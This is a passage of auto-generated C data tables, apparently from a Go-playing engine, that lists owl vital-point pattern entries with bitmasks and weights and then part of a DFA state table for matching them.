"VA18",-1,-2,1,1,2,3,0x0,0,-1, { 0xfcf0f000, 0xfcfc0c00, 0x3f3fff00, 0xc0fcfcfc, 0x0cfcfcfc, 0xf0f0fc00, 0xfcfcc000, 0xff3f3f00}, { 0x84209000, 0x88600400, 0x1a204a00, 0x40248888, 0x04608888, 0x90208400, 0x88244000, 0x4a201a00} , 0x1000000,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat17,3,1.000000}, {owl_vital_apat18,12,8, "VA19",0,-1,2,2,2,3,0x2,1,1, { 0x00fdffff, 0xf0f0f0d0, 0xfcfc0000, 0x3f3f3f00, 0xf0f0f000, 0xfffd0000, 0x3f3f3f1f, 0x00fcfcfc}, { 0x006080a0, 0x90200000, 0x08240000, 0x00221a00, 0x00209000, 0x80600000, 0x1a220000, 0x00240828} , 0x1000010,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat18,3,0.016000}, {owl_vital_apat19,10,4, "VA20",-2,-1,2,1,4,2,0x0,0,-1, { 0xfcf0fc30, 0xfcffcc00, 0xfc3cfc30, 0xccfffc00, 0xccfffc00, 0xfcf0fc30, 0xfcffcc00, 0xfc3cfc30}, { 0x88208820, 0x88228800, 0x88208820, 0x88228800, 0x88228800, 0x88208820, 0x88228800, 0x88208820} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat19,3,0.016000}, {owl_vital_apat20,8,8, "VA21",0,-1,2,1,2,2,0x2,1,0, { 0x00f0fcfc, 0xf0f0c000, 0xfc3c0000, 0x0f3f3f00, 0xc0f0f000, 0xfcf00000, 0x3f3f0f00, 0x003cfcfc}, { 0x00900800, 0x20108000, 0x80180000, 0x08102000, 0x80102000, 0x08900000, 0x20100800, 0x00188000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat20,0,0.010000}, {owl_vital_apat21,9,8, "VA22",-1,-2,1,0,2,2,0x2,0,-1, { 0xf0f0f000, 0xfcfc0000, 0x3f3f3d00, 0x00fcfc7c, 0x00fcfcf4, 0xf0f0f000, 0xfcfc0000, 0x3d3f3f00}, { 0x10200000, 0x00240000, 0x00201000, 0x00600000, 0x00240000, 0x00201000, 0x00600000, 0x10200000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat21,3,0.610000}, {owl_vital_apat22,13,8, "VA23",0,-2,3,1,3,3,0x2,1,0, { 0x0030fcfc, 0xc0f0c000, 0xfd300000, 0x0f3f0f07, 0xc0f0c040, 0xfc300000, 0x0f3f0f00, 0x0030fdff}, { 0x00100800, 0x00108000, 0x80100000, 0x08100000, 0x80100000, 0x08100000, 0x00100800, 0x00108000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat22,0,0.610000}, {owl_vital_apat23,2,4, "VA24",0,0,0,1,0,1,0x0,0,1, { 0x003c0000, 0x00303000, 0x00f00000, 0x30300000, 0x30300000, 0x003c0000, 0x00303000, 0x00f00000}, { 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000} , 0x1000000,76.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat23,3,0.034000}, {owl_vital_apat24,11,8, "VA25",-1,-1,2,1,3,2,0x6,0,-1, { 0x3cfcfcfc, 0xf0fcfc00, 0xfcfcf000, 0xffff3f00, 0xfcfcf000, 0xfcfc3c00, 0x3fffff00, 0xf0fcfcfc}, { 0x14209890, 0x80648400, 0x98205000, 0x48650a00, 0x84648000, 0x98201400, 0x0a654800, 0x50209818} , 0x1000000,76.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_vital_apat25,17,8, "VA26",-2,-2,2,2,4,4,0x0,0,-1, { 0xfffffcf0, 0xfcffff3c, 0xfffffcf0, 0xfcffff3c, 0xfffffcf0, 0xfcffff3c, 0xfffffcf0, 0xfcffff3c}, { 0x922618a0, 0x08669228, 0x926218a0, 0x18668228, 0x926608a0, 0x18269228, 0x826618a0, 0x18629228} , 0x1000010,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_vital_apat26,17,8, "VA26b",-2,-2,2,2,4,4,0x0,1,-1, { 0xfffffcf0, 0xfcffff3c, 0xfffffcf0, 0xfcffff3c, 0xfffffcf0, 0xfcffff3c, 0xfffffcf0, 0xfcffff3c}, { 0x922618a0, 0x08669228, 0x926218a0, 0x18668228, 0x926608a0, 0x18269228, 0x826618a0, 0x18629228} , 0x1000010,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_vital_apat27,10,8, "VA27",0,-1,2,2,2,3,0x2,1,0, { 0x00f0f7fd, 0xf0f040c0, 0x7c3c0000, 0x073f3f00, 0x40f0f000, 0xf7f00000, 0x3f3f070d, 0x003c7cfc}, { 0x00a00264, 0x20200080, 0x00280000, 0x01222100, 0x00202000, 0x02a00000, 0x21220108, 0x00280064} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat27,3,0.010000}, {owl_vital_apat28,10,8, "VA28",-1,-1,1,2,2,3,0x2,1,-1, { 0xf0f7fd00, 0xfcfcd070, 0xfc7c3c00, 0x1cfcfc00, 0xd0fcfc00, 0xfdf7f000, 0xfcfc1c34, 0x3c7cfc00}, { 0xa0122400, 0x08984020, 0x60102800, 0x04988000, 0x40980800, 0x2412a000, 0x80980420, 0x28106000} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat28,0,0.010000}, {owl_vital_apat29,11,8, "VA29",-1,-1,1,2,2,3,0xa,1,1, { 0xfcfffd00, 0xfcfcfc70, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfdfffc00, 0xfcfcfc34, 0xfcfcfc00}, { 0xa8126000, 0x48980820, 0x2410a800, 0x80988400, 0x08984800, 0x6012a800, 0x84988020, 0xa8102400} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_vital_apat30,9,8, "VA30",0,-1,2,2,2,3,0x0,1,1, { 0x003fff3c, 0xc0f0f0f0, 0xfcf00000, 0x3f3f0c00, 0xf0f0c000, 0xff3f0000, 0x0c3f3f3c, 0x00f0fcf0}, { 0x00288228, 0x80202080, 0x08a00000, 0x22220800, 0x20208000, 0x82280000, 0x08222208, 0x00a008a0} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat30,3,0.376000}, {owl_vital_apat31,12,8, "VA31",-2,0,2,2,4,2,0x4,1,2, { 0x3f3f3f03, 0x00fcffff, 0xf0f0f0c0, 0xfcfc0000, 0xfffc0000, 0x3f3f3f0f, 0x00fcfcff, 0xf0f0f000}, { 0x18222000, 0x00a40920, 0x20209040, 0x80680000, 0x09a40000, 0x20221804, 0x00688020, 0x90202000} , 0x1000010,76.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_vital_apat32,11,8, "VA32",-1,-1,2,1,3,2,0x4,-1,1, { 0x3cfcfcfc, 0xf0fcfc00, 0xfcfcf000, 0xffff3f00, 0xfcfcf000, 0xfcfc3c00, 0x3fffff00, 0xf0fcfcfc}, { 0x106088a4, 0x90248000, 0x88241000, 0x09621a00, 0x80249000, 0x88601000, 0x1a620900, 0x10248868} , 0x1000010,76.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_vital_apat33,7,8, "VA33",-1,0,2,1,3,1,0x4,2,0, { 0x0c3c3c3c, 0x00f0fc00, 0xf0f0c000, 0xff3f0000, 0xfcf00000, 0x3c3c0c00, 0x003fff00, 0xc0f0f0f0}, { 0x08240408, 0x00205800, 0x40608000, 0x96200000, 0x58200000, 0x04240800, 0x00209600, 0x80604080} , 0x1000000,76.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_vital_apat34,10,8, "VA34",-1,-1,2,1,3,2,0x0,2,-1, { 0x30fcfcfc, 0xf0fcf000, 0xfcfc3000, 0x3fff3f00, 0xf0fcf000, 0xfcfc3000, 0x3fff3f00, 0x30fcfcfc}, { 0x20981824, 0x2058a000, 0x90982000, 0x29962000, 0xa0582000, 0x18982000, 0x20962900, 0x20989060} , 0x1000000,76.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat34,0,3.000000}, {owl_vital_apat35,11,8, "VA35",-1,0,2,2,3,2,0x6,1,1, { 0x0f3f3f3f, 0x00f0fcfc, 0xf0f0c000, 0xff3f0000, 0xfcf00000, 0x3f3f0f00, 0x003fffff, 0xc0f0f0f0}, { 0x0a202224, 0x00a00888, 0x20208000, 0x812a0000, 0x08a00000, 0x22200a00, 0x002a8188, 0x80202060} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat35,3,0.050000}, {owl_vital_apat36,16,8, "VA36",-2,-1,2,2,4,3,0x4,0,1, { 0xffff3f0f, 0x3cffffff, 0xf0fcfcf0, 0xfffcf000, 0xffff3c00, 0x3fffff3f, 0xf0fcffff, 0xfcfcf0c0}, { 0x86a1180a, 0x2862861a, 0x902848a0, 0x4a24a000, 0x86622800, 0x18a1862a, 0xa0244a92, 0x48289080} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_vital_apat37,12,8, "VA37",-1,-1,1,3,2,4,0x2,1,3, { 0x1f3fff00, 0xc0f4fcfc, 0xfcf0d000, 0xfc7c0c00, 0xfcf4c000, 0xff3f1f00, 0x0c7cfcfc, 0xd0f0fc00}, { 0x09224800, 0x40208824, 0x84208000, 0x88200400, 0x88204000, 0x48220900, 0x04208860, 0x80208400} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat37,3,0.010000}, {owl_vital_apat38,10,8, "VA38",-2,-2,1,0,3,2,0x2,0,-1, { 0xf0f0f000, 0xfcff0000, 0x3f3f3d30, 0x00fcfc7c, 0x00fffcf4, 0xf0f0f030, 0xfcfc0000, 0x3d3f3f00}, { 0x00200000, 0x00210000, 0x00200010, 0x00200000, 0x00210000, 0x00200010, 0x00200000, 0x00200000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat38,3,0.610000}, {owl_vital_apat39,9,8, "VA39",-1,-1,1,1,2,2,0x4,-1,1, { 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00}, { 0x90289400, 0x88646000, 0x58a01800, 0x24648800, 0x60648800, 0x94289000, 0x88642400, 0x18a05800} , 0x1000010,95.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat39,3,0.010000}, {owl_vital_apat40,12,8, "VA40",-1,0,2,2,3,2,0x0,1,2, { 0x3d3f3f3f, 0x00fcfcf4, 0xf0f0f000, 0xffff0000, 0xfcfc0000, 0x3f3f3d00, 0x00ffff7f, 0xf0f0f0f0}, { 0x18202020, 0x00a40800, 0x20209000, 0x806a0000, 0x08a40000, 0x20201800, 0x006a8000, 0x90202020} , 0x1000010,95.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat40,3,0.010000}, {owl_vital_apat41,9,8, "VA41",0,-1,2,1,2,2,0x0,1,0, { 0x00fcfcfc, 0xf0f0f000, 0xfcfc0000, 0x3f3f3f00, 0xf0f0f000, 0xfcfc0000, 0x3f3f3f00, 0x00fcfcfc}, { 0x00a40808, 0x20209000, 0x80680000, 0x1a202000, 0x90202000, 0x08a40000, 0x20201a00, 0x00688080} , 0x1000010,95.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat41,3,0.016000}, {owl_vital_apat42,12,8, "VA42",-1,-1,2,1,3,2,0x0,-1,0, { 0xfcfcfcfc, 0xfcfcfc00, 0xfcfcfc00, 0xffffff00, 0xfcfcfc00, 0xfcfcfc00, 0xffffff00, 0xfcfcfcfc}, { 0x88208868, 0x88208800, 0x88208800, 0x8a228900, 0x88208800, 0x88208800, 0x89228a00, 0x882088a4} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat42,3,1.960000}, {owl_vital_apat43,8,8, "VA43",0,-1,1,2,1,3,0x2,1,1, { 0x00ffff00, 0xf0f0f0f0, 0xfcfc0000, 0x3c3c3c00, 0xf0f0f000, 0xffff0000, 0x3c3c3c3c, 0x00fcfc00}, { 0x00a81000, 0x20602000, 0x10a80000, 0x20242000, 0x20602000, 0x10a80000, 0x20242000, 0x00a81000} , 0x1000010,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat43,3,1.600000}, {owl_vital_apat44,6,8, "VA44",0,0,1,2,1,2,0x0,1,1, { 0x003b2e00, 0x00b0e0b0, 0xe0b00000, 0x2c380000, 0xe0b00000, 0x2e3b0000, 0x00382c38, 0x00b0e000}, { 0x00220000, 0x00200020, 0x00200000, 0x00200000, 0x00200000, 0x00220000, 0x00200020, 0x00200000} , 0x1000010,57.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat44,3,0.151360}, {owl_vital_apat45,4,8, "VA45",0,0,1,1,1,1,0x2,0,1, { 0x003c3c00, 0x00f0f000, 0xf0f00000, 0x3c3c0000, 0xf0f00000, 0x3c3c0000, 0x003c3c00, 0x00f0f000}, { 0x00201800, 0x00608000, 0x90200000, 0x08240000, 0x80600000, 0x18200000, 0x00240800, 0x00209000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat45,3,0.010000}, {owl_vital_apat46,8,8, "VA46",-1,-2,1,2,2,4,0x0,1,2, { 0xc0f0ff00, 0xfcf0c0c0, 0xfc3f0c00, 0x0c3cfc30, 0xc0f0fc30, 0xfff0c000, 0xfc3c0c0c, 0x0c3ffc00}, { 0x80208400, 0x88204000, 0x48220800, 0x04208820, 0x40208820, 0x84208000, 0x88200400, 0x08224800} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat46,3,0.085760}, {owl_vital_apat47,4,4, "VA47",0,0,1,1,1,1,0x0,0,1, { 0x003c3c00, 0x00f0f000, 0xf0f00000, 0x3c3c0000, 0xf0f00000, 0x3c3c0000, 0x003c3c00, 0x00f0f000}, { 0x00102400, 0x00904000, 0x60100000, 0x04180000, 0x40900000, 0x24100000, 0x00180400, 0x00106000} , 0x1000000,95.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat47,0,1.160000}, {owl_vital_apat48,8,8, "VA48",-1,-1,0,2,1,3,0x9,-1,0, { 0xffff0000, 0x3c3c3c3c, 0x00fcfc00, 0xf0f0f000, 0x3c3c3c00, 0x00ffff00, 0xf0f0f0f0, 0xfcfc0000}, { 0x00a10000, 0x20200010, 0x00280000, 0x00202000, 0x00202000, 0x00a10000, 0x20200010, 0x00280000} , 0x1000010,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_vital_apat49,4,8, "VA49",0,0,1,1,1,1,0x0,0,1, { 0x003c2c00, 0x00b0f000, 0xe0f00000, 0x3c380000, 0xf0b00000, 0x2c3c0000, 0x00383c00, 0x00f0e000}, { 0x00200800, 0x00208000, 0x80200000, 0x08200000, 0x80200000, 0x08200000, 0x00200800, 0x00208000} , 0x1000000,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_vital_apat49,3,0.016000}, {NULL, 0,0,NULL,0,0,0,0,0,0,0,0,0,{0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0},0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0,NULL,NULL,0,0.0} }; /* #include "dfa.h" */ static state_t state_owl_vital_apat[1077] = { {0,{0,0,0,0}}, {0,{0,2,168,0}}, {0,{3,61,76,0}}, {0,{4,4,4,0}}, {0,{5,5,5,5}}, {0,{6,6,48,0}}, {0,{7,0,0,0}}, {0,{0,0,8,0}}, {0,{9,0,0,0}}, {0,{10,10,10,10}}, {0,{11,11,11,11}}, {0,{12,12,12,12}}, {0,{13,13,13,13}}, {0,{14,14,14,0}}, {0,{15,0,0,0}}, {0,{16,0,0,0}}, {0,{17,0,0,0}}, {0,{18,18,18,18}}, {0,{19,0,19,0}}, {0,{20,20,20,20}}, {0,{21,21,21,21}}, {0,{22,22,22,22}}, {0,{23,23,23,23}}, {0,{24,24,24,24}}, {0,{25,25,25,25}}, {0,{26,26,26,26}}, {0,{0,0,0,27}}, {0,{28,0,0,0}}, {0,{29,0,0,0}}, {0,{30,30,30,30}}, {0,{31,0,0,0}}, {0,{32,32,32,32}}, {0,{33,33,33,33}}, {0,{34,34,34,34}}, {0,{35,35,35,35}}, {0,{36,36,36,36}}, {0,{37,37,37,37}}, {0,{38,38,38,38}}, {0,{39,39,39,39}}, {0,{40,40,40,40}}, {0,{41,41,41,41}}, {0,{42,42,42,42}}, {0,{0,0,0,43}}, {0,{0,0,0,44}}, {0,{0,0,0,45}}, {0,{46,46,46,46}}, {0,{47,0,0,0}}, {1,{0,0,0,0}}, {0,{49,0,0,0}}, {0,{0,0,50,0}}, {0,{51,0,0,0}}, {0,{52,52,52,52}}, {0,{53,53,53,53}}, {0,{54,54,54,54}}, {0,{55,55,55,55}}, {0,{56,56,56,60}}, {0,{15,0,0,57}}, {0,{58,0,0,0}}, {0,{59,0,0,0}}, {2,{0,0,0,0}}, {0,{0,0,0,57}}, {0,{0,0,62,0}}, {0,{0,0,63,0}}, {0,{0,0,64,0}}, {0,{0,0,65,0}}, {0,{0,0,66,0}}, {0,{67,0,0,0}}, {0,{68,68,68,68}}, {0,{69,69,69,0}}, {0,{70,70,70,70}}, {0,{71,71,71,0}}, {0,{72,72,72,72}}, {0,{73,73,73,73}}, {0,{0,74,0,0}}, {0,{75,0,0,0}}, {3,{0,0,0,0}}, {0,{77,0,136,0}}, {0,{78,78,82,78}}, {0,{79,79,79,79}}, {0,{80,80,80,80}}, {0,{0,81,0,0}}, {4,{0,0,0,0}}, {0,{83,79,79,79}}, {0,{84,84,84,113}}, {0,{85,81,0,0}}, {0,{86,0,0,0}}, {0,{0,0,87,0}}, {0,{0,0,88,0}}, {0,{89,89,89,89}}, {0,{90,0,90,0}}, {0,{91,91,91,91}}, {0,{92,92,92,92}}, {0,{93,93,93,93}}, {0,{94,94,94,94}}, {0,{0,0,95,0}}, {0,{96,96,96,96}}, {0,{0,97,0,0}}, {0,{0,98,0,0}}, {0,{99,99,99,99}}, {0,{100,100,100,100}}, {0,{101,101,101,101}}, {0,{102,102,102,102}}, {0,{103,103,103,103}}, {0,{104,104,104,104}}, {0,{105,105,105,105}}, {0,{106,106,106,106}}, {0,{107,107,107,107}}, {0,{108,108,108,108}}, {0,{109,109,0,0}}, {0,{110,110,110,110}}, {0,{111,111,111,111}}, {0,{112,112,0,0}}, {5,{0,0,0,0}}, {0,{114,125,0,0}}, {0,{86,115,0,0}}, {0,{0,0,116,0}}, {0,{0,0,117,0}}, {0,{118,118,118,118}}, {0,{0,0,119,0}}, {0,{0,0,0,120}}, {0,{0,0,0,121}}, {0,{0,0,0,122}}, {0,{0,0,0,123}}, {0,{124,0,124,0}}, {6,{0,0,0,0}}, {7,{126,0,0,0}}, {0,{0,0,127,0}}, {0,{128,128,128,0}}, {0,{129,129,129,129}}, {0,{0,0,130,0}}, {0,{131,131,131,131}}, {0,{0,0,0,132}}, {0,{0,0,0,133}}, {0,{0,0,0,134}}, {0,{135,0,135,0}}, {8,{0,0,0,0}}, {0,{0,0,137,0}}, {0,{138,141,0,0}}, {0,{0,0,0,139}}, {0,{0,140,0,0}}, {0,{126,0,0,0}}, {0,{0,0,0,142}}, {0,{143,0,0,0}}, {0,{0,144,0,0}}, {0,{0,0,145,0}}, {0,{146,146,146,0}}, {0,{147,147,147,147}}, {0,{0,0,148,0}}, {0,{0,0,149,0}}, {0,{0,0,0,150}}, {0,{0,0,0,151}}, {0,{0,0,0,152}}, {0,{153,0,0,0}}, {0,{154,0,0,0}}, {0,{155,0,155,0}}, {0,{156,156,156,0}}, {0,{157,157,157,157}}, {0,{158,158,158,158}}, {0,{159,159,159,159}}, {0,{160,160,160,0}}, {0,{161,161,161,161}}, {0,{0,0,0,162}}, {0,{0,0,0,163}}, {0,{0,0,0,164}}, {0,{0,0,0,165}}, {0,{0,0,0,166}}, {0,{167,0,167,0}}, {9,{0,0,0,0}}, {0,{169,655,916,1072}}, {0,{170,517,571,648}}, {12,{171,432,486,515}}, {0,{172,324,363,431}}, {0,{173,173,229,248}}, {0,{174,211,223,0}}, {0,{175,209,209,209}}, {0,{176,176,192,176}}, {0,{0,0,177,0}}, {0,{0,0,0,178}}, {0,{0,0,179,0}}, {0,{180,0,0,0}}, {0,{181,181,181,181}}, {0,{182,182,182,182}}, {0,{183,183,183,183}}, {0,{184,184,184,184}}, {0,{0,0,185,0}}, {0,{186,186,186,186}}, {0,{187,187,187,187}}, {0,{0,0,0,188}}, {0,{0,0,0,189}}, {0,{0,0,0,190}}, {0,{191,0,0,0}}, {13,{0,0,0,0}}, {0,{193,193,201,193}}, {0,{194,194,194,194}}, {0,{195,195,195,195}}, {0,{196,196,196,196}}, {0,{197,197,197,197}}, {0,{198,198,198,198}}, {0,{199,199,199,199}}, {0,{200,200,0,0}}, {14,{0,0,0,0}}, {0,{194,194,194,202}}, {0,{195,195,203,195}}, {0,{204,196,196,196}}, {0,{205,205,205,205}}, {0,{206,206,206,206}}, {0,{207,207,207,207}}, {0,{208,208,184,184}}, {15,{0,0,185,0}}, {0,{0,0,210,0}}, {0,{193,193,193,193}}, {0,{212,0,213,0}}, {0,{176,176,176,176}}, {0,{214,214,214,0}}, {0,{215,215,215,0}}, {0,{216,216,216,216}}, {0,{0,0,217,0}}, {0,{0,0,218,0}}, {0,{219,219,219,219}}, {0,{220,220,220,220}}, {0,{221,221,221,221}}, {0,{222,0,0,0}}, {16,{0,0,0,0}}, {17,{212,0,224,0}}, {0,{0,225,0,0}}, {0,{0,0,226,0}}, {0,{227,0,227,0}}, {0,{0,0,228,0}}, {18,{0,0,0,0}}, {0,{174,211,230,0}}, {19,{212,0,231,0}}, {0,{232,242,232,232}}, {0,{0,0,233,0}}, {0,{234,234,240,234}}, {0,{0,0,235,0}}, {0,{236,236,236,236}}, {0,{237,237,237,237}}, {0,{0,0,238,0}}, {0,{0,239,0,0}}, {20,{0,0,0,0}}, {0,{0,0,241,0}}, {21,{236,236,236,236}}, {0,{0,0,243,0}}, {0,{244,234,246,234}}, {0,{0,0,245,0}}, {22,{236,236,236,236}}, {0,{0,0,247,0}}, {24,{236,236,236,236}}, {0,{249,278,280,321}}, {0,{250,209,209,209}}, {0,{251,251,268,251}}, {0,{252,252,267,252}}, {0,{0,253,0,0}}, {0,{254,0,0,0}}, {0,{255,0,0,0}}, {0,{0,0,0,256}}, {0,{0,0,0,257}}, {0,{0,0,0,258}}, {0,{259,259,259,259}}, {0,{260,0,0,0}}, {0,{261,261,261,261}}, {0,{262,262,262,262}}, {0,{263,263,263,263}}, {0,{264,264,264,264}}, {0,{265,265,265,0}}, {0,{266,0,266,0}}, {25,{0,0,0,0}}, {0,{0,253,0,178}}, {0,{269,269,277,269}}, {0,{194,270,194,194}}, {0,{271,195,195,195}}, {0,{272,196,196,196}}, {0,{197,197,197,273}}, {0,{198,198,198,274}}, {0,{199,199,199,275}}, {0,{276,276,259,259}}, {26,{260,0,0,0}}, {0,{194,270,194,202}}, {0,{279,0,213,0}}, {0,{251,251,251,251}}, {27,{281,297,224,0}}, {0,{251,251,282,251}}, {0,{252,252,283,252}}, {0,{0,253,284,178}}, {0,{285,0,0,0}}, {0,{0,0,0,286}}, {0,{0,0,0,287}}, {0,{0,0,0,288}}, {0,{0,0,0,289}}, {0,{0,0,290,0}}, {0,{0,0,0,291}}, {0,{292,292,292,292}}, {0,{0,293,0,0}}, {0,{0,294,0,0}}, {0,{295,295,295,295}}, {0,{0,0,296,0}}, {28,{0,0,0,0}}, {0,{0,0,298,0}}, {0,{0,0,299,0}}, {0,{300,300,300,300}}, {0,{301,301,301,0}}, {0,{302,302,302,302}}, {0,{0,0,0,303}}, {0,{0,0,0,304}}, {0,{0,0,0,305}}, {0,{306,0,0,0}}, {0,{307,307,307,307}}, {0,{0,308,0,0}}, {0,{0,309,0,0}}, {0,{310,310,310,310}}, {0,{311,311,311,311}}, {0,{312,312,312,312}}, {0,{313,313,313,313}}, {0,{314,314,314,314}}, {0,{0,0,0,315}}, {0,{0,0,0,316}}, {0,{0,0,0,317}}, {0,{0,0,0,318}}, {0,{0,0,0,319}}, {0,{320,0,0,0}}, {29,{0,0,0,0}}, {0,{322,0,0,0}}, {0,{323,323,323,323}}, {0,{252,252,252,252}}, {0,{325,325,328,361}}, {0,{326,0,327,0}}, {0,{209,209,209,209}}, {30,{0,0,0,0}}, {0,{329,0,327,0}}, {0,{209,209,330,209}}, {0,{331,0,352,0}}, {0,{332,332,332,332}}, {0,{333,333,333,333}}, {0,{334,334,334,334}}, {0,{335,335,335,335}}, {0,{0,0,0,336}}, {0,{337,0,0,0}}, {0,{0,0,338,0}}, {0,{339,0,0,0}}, {0,{340,340,340,340}}, {0,{341,341,341,341}}, {0,{342,342,342,342}}, {0,{343,343,343,343}}, {0,{344,344,344,344}}, {0,{345,345,345,345}}, {0,{346,346,346,346}}, {0,{347,347,347,347}}, {0,{0,0,0,348}}, {0,{0,0,0,349}}, {0,{0,0,0,350}}, {0,{351,0,0,0}}, {31,{0,0,0,0}}, {0,{353,353,353,353}}, {0,{354,354,354,354}}, {0,{355,355,355,355}}, {0,{356,356,356,356}}, {0,{197,197,197,357}}, {0,{358,198,198,198}}, {0,{199,199,359,199}}, {0,{360,200,0,0}}, {32,{340,340,340,340}}, {0,{326,0,362,0}}, {33,{0,297,0,0}}, {0,{364,364,382,428}}, {0,{365,379,381,379}}, {0,{366,366,366,366}}, {0,{0,367,210,0}}, {0,{368,0,0,0}}, {0,{0,0,0,369}}, {0,{370,0,0,0}}, {0,{0,0,0,371}}, {0,{372,372,372,372}}, {0,{373,373,373,373}}, {0,{374,374,374,374}}, {0,{375,375,375,375}}, {0,{0,0,0,376}}, {0,{377,377,377,377}}, {0,{378,0,0,0}}, {34,{0,0,0,0}}, {0,{380,380,380,380}}, {0,{0,367,0,0}}, {35,{380,380,380,380}}, {0,{383,379,426,379}}, {0,{384,366,366,366}}, {0,{385,406,418,0}}, {0,{386,386,386,386}}, {0,{387,387,387,387}}, {0,{388,388,388,388}}, {0,{389,389,389,389}}, {0,{0,0,0,390}}, {0,{0,391,0,0}}, {0,{0,392,0,0}}, {0,{0,0,393,0}}, {0,{394,394,394,394}}, {0,{395,395,395,395}}, {0,{396,396,396,396}}, {0,{397,397,397,397}}, {0,{398,398,398,398}}, {0,{399,399,399,399}}, {0,{400,400,400,400}}, {0,{401,401,401,401}}, {0,{0,0,0,402}}, {0,{0,0,0,403}}, {0,{0,0,0,404}}, {0,{405,0,405,0}}, {36,{0,0,0,0}}, {0,{407,386,386,386}}, {0,{387,387,387,408}}, {0,{409,388,388,388}}, {0,{389,389,389,410}}, {0,{372,372,372,411}}, {0,{373,412,373,373}}, {0,{374,413,374,374}}, {0,{375,375,414,375}}, {0,{394,394,394,415}}, {0,{416,416,416,416}}, {0,{417,396,396,396}}, {37,{397,397,397,397}}, {0,{419,419,419,419}}, {0,{420,420,420,420}}, {0,{421,421,421,421}}, {0,{422,422,422,422}}, {0,{197,197,197,423}}, {0,{198,424,198,198}}, {0,{199,425,199,199}}, {0,{200,200,393,0}}, {38,{427,380,380,380}}, {0,{385,406,385,0}}, {0,{365,379,429,379}}, {39,{380,430,380,380}}, {0,{0,367,298,0}}, {0,{325,325,325,325}}, {0,{433,468,480,431}}, {0,{434,434,434,436}}, {0,{326,435,327,0}}, {0,{0,0,213,0}}, {0,{437,464,466,467}}, {0,{438,209,209,209}}, {0,{439,439,455,439}}, {0,{440,440,440,440}}, {0,{441,441,441,441}}, {0,{442,0,0,0}}, {0,{443,0,0,0}}, {0,{0,0,0,444}}, {0,{0,0,0,445}}, {0,{0,0,0,446}}, {0,{447,447,447,447}}, {0,{448,0,0,0}}, {0,{449,449,449,449}}, {0,{450,450,450,450}}, {0,{451,451,451,451}}, {0,{452,452,452,452}}, {0,{453,453,453,453}}, {0,{454,0,454,0}}, {40,{0,0,0,0}}, {0,{456,456,456,456}}, {0,{457,457,457,457}}, {0,{458,195,195,195}}, {0,{459,196,196,196}}, {0,{197,197,197,460}}, {0,{198,198,198,461}}, {0,{199,199,199,462}}, {0,{463,463,447,447}}, {41,{448,0,0,0}}, {0,{465,0,213,0}}, {0,{439,439,439,439}}, {42,{465,0,0,0}}, 